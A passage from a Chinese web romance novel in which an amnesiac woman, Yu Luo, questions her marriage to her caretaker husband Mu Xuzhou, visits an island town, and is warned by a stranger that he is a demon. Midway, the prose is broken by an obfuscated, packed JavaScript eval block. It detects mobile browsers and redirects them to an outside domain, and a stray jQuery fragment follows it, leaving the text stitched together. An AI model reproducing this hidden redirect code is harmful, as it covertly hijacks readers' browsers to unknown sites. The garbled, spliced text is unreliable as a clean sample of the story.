羽萝身体绷直,逼迫自己苦思对策,偏偏想不出来。
实在不行,捡起地上的脏衣物先穿上,过会自己拿了新的再来沐浴一次呢。
……她闭了闭眼,确信自己做不到。于她而言,这比杀了她还难受。
她转念间蓦然清醒。
他若真想做什么,她又如何拦得住。
她只能赌。
赌他还算个好人。赌他对自己真有她不知的情分。
“你蒙着眼,背对着我来送。你如果偷看,我一定会和你同归于尽!”
慕诩舟闻言身形一顿。
恍然间想到了什么,还是转身照做。
他蒙着眼过来,与羽萝之间距离越来越短,羽萝担忧地心都要跳出来。
仿佛能逃避现实一般,她倏然屏住呼吸将整个身子沉入水面,在水下忐忑等着慕诩舟的反应。
慕诩舟始终背对着她没有言语,似乎本能地察觉到什么,只是摸索着将衣物挂好就走了。
直到他远去,羽萝才探出头来。
出池,踩在他早铺好的软垫上,迅速擦干身体,穿好衣物出去。
直至在塌上换新的小衣、亵裤时仍若有所思。
跌宕起伏的半天,羽萝的心力已经消耗殆尽。
胡乱擦了擦湿发,便睡着了。
殊不知,在她睡后,有人将她的发烘干,伤口重新上药后,陪在间内。
半梦半醒间,她呢喃:“慕诩舟,你……你能今晚就在这儿吗?”
不得不说,慕诩舟能带给她安全感。
至少当下,羽萝相信他不会伤害她。
借着黑暗,羽萝闭着眼感觉到眼前人始终落在自己身上的目光,他似乎怔了下,而后轻拍着自己的背。
“好,我不走。睡吧。”
这晚,一夜无噩梦。
*
天光微亮,空气中凉意荡漾。
慕诩舟凝视着塌上女子一脸防备的睡颜,唇角不易察觉地勾了下,起身穿戴好去厨房做朝食。
羽萝还在酣睡。
直到大片的光照在她脸上将她晃醒,她才不情愿地伸了个懒腰,虚虚睁开眼睛。
好烦。
她一夜睡得都不安稳。
屋里温度不算太冷,她穿着中衣睡的,锦被胡乱卷在她身侧。依稀记起期间,似乎有人给自己掖了掖被角。
但没过片刻,她下意识一个翻身就将被子踢开了。
她懒懒地起身,突然想起自己还有个不熟夫君。
她一整晚都未感受到他的动静,塌上更是只有她自己,忍不住好奇他在哪里睡的。
还有,她就这么接受了他是她夫君这个事实是不是过于草率了?
她动了动身子,将床帐珠帘拢起,坐在塌边。两手支撑在塌沿,纤细白嫩的腿晃来晃去。
余光瞥见不远处屏风后的罗汉塌,像是有人住过的痕迹……但没有被子。
不对……她怎么恍惚记得旁边还有别的厢房和次间……
她轻轻蹙眉,昨日可没见这罗汉塌。
他不会还是对她图谋不轨罢?
转念一想,难道是因着昨日的意外,怕自己再遇到危险,他才搬过来的?
羽萝回过神来,心下欣慰:这人还挺君子的,看来住在这里蛮安全。
算了,不赶他了,她怕黑怕鬼怕虫子。有他在,她还稍稍安心一些。
她扫了一眼,妆台上的首饰脂粉一应俱全,衣橱里也大半都是她的衣服。
这里也没有其他人。
整座山上只有他们在住。
不是为她准备的,难道还是慕诩舟有特殊癖好不成?
她打了个哈欠,不经意地瞟了一眼那些玉色青衣,珍珠白绸缎、素云外纱……
虽然这些衣裙事实上不太符合她的审美。
这些都太朴素淡雅了,她喜欢名贵华丽的东西。
最好是用金线在绫罗锦缎描出栩栩动人的漂亮纹样,缀以珍珠抑或流苏,穿在身上,光线照耀下熠熠生辉,着实美丽又吸睛。
羽萝愣了下,这脑中浮现出的华美衣裙,没法仅靠想象力。它一定曾真实地存在于她的人生中。
记忆可以丢失,但十来年的性情习惯喜好却很难更改。
她以前过着什么样的生活?
为何放着娇纵大小姐不做,来到这人烟稀少的山野,还有了一个印象不深的夫君?
到底发生了什么?
“醒了?”
耳畔响起那个好听的声音。
——是她的不熟夫君。
“嗯。”羽萝揉了揉眼睛。
“那些衣裙首饰脂粉之类的,都是你买的?”
慕诩舟:“你若不喜欢,可以再买别的。”
羽萝只是随口一问,倒是没料想到他会这样回答。
“今天天气有些凉,昨日的衣裙都洗了。穿这个吧。”
羽萝瞧着她这位夫君动作熟练地取出了套厚的裙袍递在塌上。
羽萝有太多问题想问,但顾及着如今她处于任人宰割的弱势,不便惹恼对方,只好耐着性子温声询问。
她想问她为什么失忆。
但话到嘴边莫名转了个弯。
“我们为什么会成婚啊?为何我连我们何时成婚都不记得了。”
羽萝绞尽脑汁将话说得委婉,她好奇慕诩舟为和要与一个随时会将过去的事忘得一干二净的人成婚?
难不成他们过去真是心意相通的?
虽然哪怕是现在,羽萝一无所知的情况下,也不会轻易否定眼前这个高大男人对自己的吸引力。
这相貌,若他是个女子,想必也不输自己几分。
鼻梁高挺,一双漆黑的眸子幽深,一看就是绝大多数女子都会为之疯狂的类型。
羽萝着实好奇原因。
这关系到她的安危、以及能在这里待多久……
一说完,她敏锐地感知到气氛好像凝滞了一瞬。
山上本该虫鸟啼鸣声不绝于耳的,此刻怎会如此安静?
“不久。也就几个月。夫人……可是反悔了?”
羽萝从他的语气中品出些许玩味。
慕诩舟目光直白,带着似有若无的侵略性,垂眸瞧着羽萝。
阳光在慕诩舟身侧打上了一层恰到好处的光晕,衬得他皮肤越发白皙,好似有压迫感的神像。
羽萝晃了下神,来回摆动着小腿,将脸偏过去。
这怎么问?
这个人不仅顶着一张好看到让人难以生气的脸。
而且他真的很会不正经地转移话题。
怎么老是避重就轻啊?
她又不会跑。
至少,她现在不熟悉地形,来龙去脉亦没搞清楚,怎么跑啊?
要跑也不能一切都没准备好,不清不楚地逃啊!
羽萝成功把自己脑补生气,转过脸来。
“我是想问,我们是情意相通成婚的么?”
慕诩舟往前走了几步,距离一点点近到,羽萝的腿脚稍一动就能不小心撞到他的腿。
羽萝心跳乱了一拍,摸不清楚他的意图。
却已然料定了这个问题的答案会让她失望。
脑子里瞬间闪过无数个可能:被迫成婚?互相厌倦?无爱姻缘?替身?
还有最坏的一种:他真的是坏人!
羽萝做好了他再继续靠近,她就用更利索的那条腿朝他身上踹上去的准备。
打不过逃不掉也要让他断子绝孙。
只是这相貌可惜了。
下一瞬,神色清冷甚至让羽萝感到有些吓人的慕诩舟微微弯了弯腰,从榻上捞起外袍。
力度不轻不重地披到了羽萝因戒备而绷直的身上。
而后沉声开口——
“不清楚你。今天冷,别生病了。”
说罢他拂袖掠过桌案,转身离开了羽萝的视线。不知道去哪里了。
生气了?
还有不清楚我又是何意?
羽萝拽了拽身上的外袍,百思不得其解。
天气是有些冷。她都起鸡皮疙瘩了。
但总归,她在这里暂时应当没有生命危险。
她起身穿上鞋子,惊讶发现腿上行动自如,便汲拉着鞋走到妆台前,照了下菱花镜。
正要满意地放回去,返回塌上。
余光猝然瞥见桌案上的小册子。
神使鬼差地,她拿过来翻开册封,一眼看见第一页,赫然写着两行娟秀的字样——
“重伤失忆。”
“慕诩舟,是夫君。”
羽萝眨了眨眼,几乎是同时,飘渺的灵光从册子上窜入她脑内。
慕诩舟摘果子、她在册子上写字的画面,瞬间在脑海中浮现。
她不知道自己的过去。
几年前她独自一人晕倒在山上,被慕诩舟救下,却失去了全部记忆。
慕诩舟悉心照料,帮她养伤。
慕诩舟长得好看,又对自己温柔,他们便自然而然成婚。
婚后一如既往地相濡以沫,日子幸福。
只是……她会忘记每日发生的事。
可,她今日好似不一样了,她没有忘记昨日。
记忆重新以昨日作为起点了。
她从心底深处生出的如海上浮萍般不知前路的不安感,竟然因为慕诩舟,开始淡化了……
羽萝翻了页,在类似的位置,写下了同样的几个字。
字迹一模一样……
羽萝心底忽而泛起一些微妙的情绪。
恰在此时,慕诩舟将饭菜热好端进来,摆在桌案上,与羽萝视线相对。
他扫了一眼还未合上的册子。
羽萝在心中暗叹:尽管如此,她还是不能不明不白地活下去。
那些噩梦……她想知道真相。
“难道你每天都得告诉我,我失忆的事吗?还有我无穷无尽的问题。”
正说着,羽萝看着慕诩舟盛了一碗米粥放在自己跟前,又夹了一些青菜放在碗里。
这些菜……说好听是清淡,说直白些,过分寡淡了。
难道以前的她没有说过她不爱吃这些。
她想吃肉,吃鱼虾。
算了……寄人篱下……她最多再忍两天。
慕诩舟轻笑一声,“不会,有时你在昏睡。明日想做什么?”
羽萝还是想不通,“泛舟吧。”
山上家中没有船,一时半会儿哪里能泛成。
她说这话,无非是给她这位夫君找点事干,好让她有些自由空闲琢磨自己的事罢了。
没想到慕诩舟神情从容,淡声答应:“好。”
正在羽萝面露讶异之色时,又听到他补充道:“结束后可钓点鱼。”
羽萝拽着慕诩舟的衣袖,笑得眉眼弯弯:“慕诩舟,你真好。”
原本正要泯茶的慕诩舟看着羽萝有动作,静静看着她,听到她说的话,淡泊的面色愣了一下,随即恢复如常。
“我还想吃清蒸虾、蜜煎鸡腿、樱桃酥……”
在羽萝说罢低下头喝粥的时候,慕诩舟看着她唇角微微上扬。
“你怎么不吃饭,只喝茶?”
“我不常饿。”
羽萝扁了扁嘴,居然有人是不需要经常吃东西的。只是……有人看着她吃,她怎么吃得下?
还没等羽萝开口控诉,她就看到慕诩舟跟着吃了些青菜。
他怎么好像听得到自己心声一般?
羽萝夹了些青菜尝了尝,下意识地吐了出来,慕诩舟用手接住。
“呸,没味!好像没放盐。”
慕诩舟坦然接受建议,将她碗中剩下的青菜移到自己盘中,“下次改。”
羽萝震惊于他怎么没脾气似的,毕竟粥和菜全是他做的,也不再多说。
恍然间又想到什么,问他:“我经常像昨日那样逃出去吗?”
“没有。昨日是第一次。”
羽萝养伤期间,大半时间昏睡,偶有清醒也会忘记自己要做的事。慕诩舟除必要之需外,从不下山,始终陪在她身侧。
昨日羽萝想出去透气,腿还有些无力,慕诩舟抱她出去,吃了摘的野果子。
回来的路上,她念叨着非要话本。
昨日午时慕诩舟估摸着她一时半会儿醒不来,也无人敢来造次,便抽空去了趟山下挑话本,顺便带了新款式的脂粉钗环回来。
没想到,她竟突然醒来,恢复心智,强忍着身上的不适,逃了出去。
好在他及时回来,没酿成意外。
吃完慕诩舟去收拾。
梳洗完的羽萝,开始描眉涂粉黛,无意间瞥见他将罗汉榻整理搬走。
紧接着传来他幽幽的声音:
“夫人再泡几次药泉,身上便可大好,便不需人在此陪了。”
听到这话,羽萝惊讶了瞬,脱口而出:“不行。”
她怕黑怕鬼啊。
这偌大的孤山,除他们二人之外,再无别人。
黑漆漆的,不知道藏着什么可怕的东西,就等着她睡着之后神不知鬼不觉地攀上来……
羽萝思绪回笼,不满地赌气般想着。
他既想走,不想留下陪她,那她也绝不可能放低姿态要他留下。
最终还是改口:“那你走吧,去别间睡,别再来了。”
慕诩舟低垂眼帘,“你想我晚上留下?”
“并不!”羽萝脱口而出。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16534447|186479||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>今日羽萝的腿不再感到酸痛无力,慕诩舟便去耽搁了许久没去的药堂转转。
午时,慕诩舟回来做好饭。用昼食时。
羽萝仍因噩梦带来的惊悸闷闷不乐。
况且,她很不解,她夫君是治怪病的药师,为何偏偏却治不好她?
慕诩舟察觉到,问她:“怎么了?”
那件华丽的衣裙再次浮现在她脑海中,与此时身上素净的衣衫形成对比。
那样华丽的东西,只有岛下才会有。
她试探开口:“我想……下岛去。”
本神情淡泊的慕诩舟轻轻蹙了下眉。
她立刻补充:“我可以去卖香露!我也想为家里分忧嘛……”
现下她的身子已大好,是最好的下山时机。
虽与慕诩舟几乎时刻待在一起,已经习惯了他身上的香。但她总觉得,此事不太寻常。
而她惯喜欢香,不单是为了下山找个由头,如果真的将制香做为一番事业,做起来亦不会费力。
不管下岛做什么,她知道,是时候了解这个世界和她身上的秘密了。
慕诩舟的身影隐在背光处,羽萝看不清表情,但她总觉得他似乎一眼看穿了她的想法。
羽萝心中不上不下。
却又莫名觉得他唇畔微扬了下,似有浅浅笑意。然后听到他的声音——
“好。这香囊随时佩戴,可驱些讨厌的蚊虫。”
羽萝接过来,上面有她喜欢的云纹样。驱蚊虫她确实需要,便随手系在腰封处。
*
午后,慕诩舟带她下山。
他们很快到了一棵鬼斧神工的古树前。
听周围人闲聊,这棵树已经有近上千年历史。从云梓岛上还未有人居之时,它就被传说中的仙人栽下护岛。
羽萝见粉白花瓣盛开,微风下如梦如幻,恍若神品。其上无数的各色绸缎亦随风飘摇。
一下子看得入神。
如此美好事物,她甚至不舍徒加装饰,玷了它的美。
旁边小摊上传来声响,慕诩舟循着声音看去。有人买了红绸带挂在树枝上许愿。
“慕公子,选个绸带为您和姑娘祈福姻缘长长久久吧。”
慕诩舟见羽萝眸光明亮望着那些绸带,便朝着摊子走了过去。
羽萝的幕离被风刮起,透过缝隙,羽萝的脸映入周围人眼帘。
只见她面若桃花,肤如凝脂。
她心情似乎被风景抚慰,索性将幕离摘下。
她如画眉目间的倦怠仿佛淡了些,流云般的乌发被风拂乱。
她的视线望向慕诩舟。
“哇。好美啊,像九天玄女下凡!我从来没见过这么好看的人。我动心了,你摸我的心跳!”
“我方才看到这位姑娘和慕公子站在一处,她不会就是慕公子新婚的妻子吧?”
“怎么可能,别乱说。她长得也还可以吧,但也远远配不上我心中的慕公子。新婚的传言一定是假的!没有人见过成婚!”
旁边有行人驻足,显然被她的美貌所震慑,一时发出赞叹。
羽萝蹙了蹙眉,嗅到纷杂但不浓烈的气味,一时苦恼于过载的感官,便鼻不闻心不烦地忽略,朝着议论的人看过来。
慕公子?看来她这个便宜夫君,在山下颇有威望。
“她不会听到了吧?”
李嫣筠说着躲到刘梦蔚身后,躲避羽萝的视线。
“怕什么?”
刘梦蔚翻了个白眼,昂首挺胸挑衅似的与羽萝对视。
羽萝听到了大半,有些懊恼,本想过去狠声质问,但她倏然听见那句“没有人见过他们新婚,传言是假的”。
正想走过去问问究竟,腰间突然被人揽住。
她抬眸望过去——
是慕诩舟,手中还带着条红绸带。
慕诩舟扫了他们一眼。
明明是沉静的一眼,议论的几人却偏偏觉得浑身紧绷,顿感如大山压背的压迫感。
“我们当日,就是在这里成婚。敬日月星辰,流苏菩提神树。”
云梓岛受神树庇佑,多有些眷侣会在这里举行婚事。除了好友亲朋,也会有过路之人沾沾喜气。
听到倒吸气的声音,羽萝转头瞧见刘梦蔚扶着额,目瞪口呆,一脸不可置信。
“告诉我是我听错了,我在做梦吧?明明没人见过他们成婚啊!她哪里配得上……”
最后一句极其小声,仿佛担心什么人听到。
羽萝心底升起异样的感觉,忽略别的声音,直直望向慕诩舟。
她爹娘不在无可厚非,为何竟也没有其他人看到?
或许那时时辰特殊,行人稀少?
忽觉腰间的手倏然松开,而慕诩舟的眼神,似乎不是阻挠的意思。
羽萝转过身来,抬步向那议论的几人走过去,距离越近,那股酸涩的味道越发明显。
羽萝锁定了味道的来源,明了此人虽外表蛮横,实际是虚张声势的纸老虎。
她眸中泛着明亮,语调轻快道:
“这是我和慕诩舟两个人的事。就算你实在不快,又能如何呢?姑娘还是先处理自己的心事吧。若有困难不妨来我们山上所居,小坐一叙。”
羽萝理解各人立场不同。但既然她没做错什么,便绝不当忍气吞声的冤大头。
刘梦蔚先是被近距离下的羽萝美貌,震惊到哑言说不出话来,方才的气势少了大半。
后又因羽萝的弦外音羞恼得怔在原地。
我们山上所居……
言下之意显然是指她和慕诩舟。
她以女主人的姿态揶揄。
而慕诩舟是早有名声地冷漠疏离。
自己能否进得去院门都是另一回事。
她心下百思不得其解。
羽萝好像看透了自己。
怎么看透的?她们一直在谈论的不是她和慕诩舟吗?
围观的行人渐渐散去。
慕诩舟挂完写有他们名字的绸带,在羽萝百般劝说下去药堂,天黑之前来接她回去。
她心情很好地弯了弯眼角,坐在粗壮树根上,准备一会儿再多去逛逛,为卖香露做打算。
还未起身,衣角突然被人粗暴蛮横地拽得身子一晃。
她不悦地侧身望过去。
一个骇人如鬼面一般的面孔骤然出现在她眼前!
她心跳顿时乱了一拍。
只见他蓬头垢面,胡须打结,浑身脏兮兮。
语速很快,嘴里带着哭腔不停在嘟囔什么。
“你夫君……你夫君是妖魔!远离他!否则你会死在他手里!”
“他杀人无数!你快逃啊!立刻从岛上逃走!否则来不及了!来不及了!”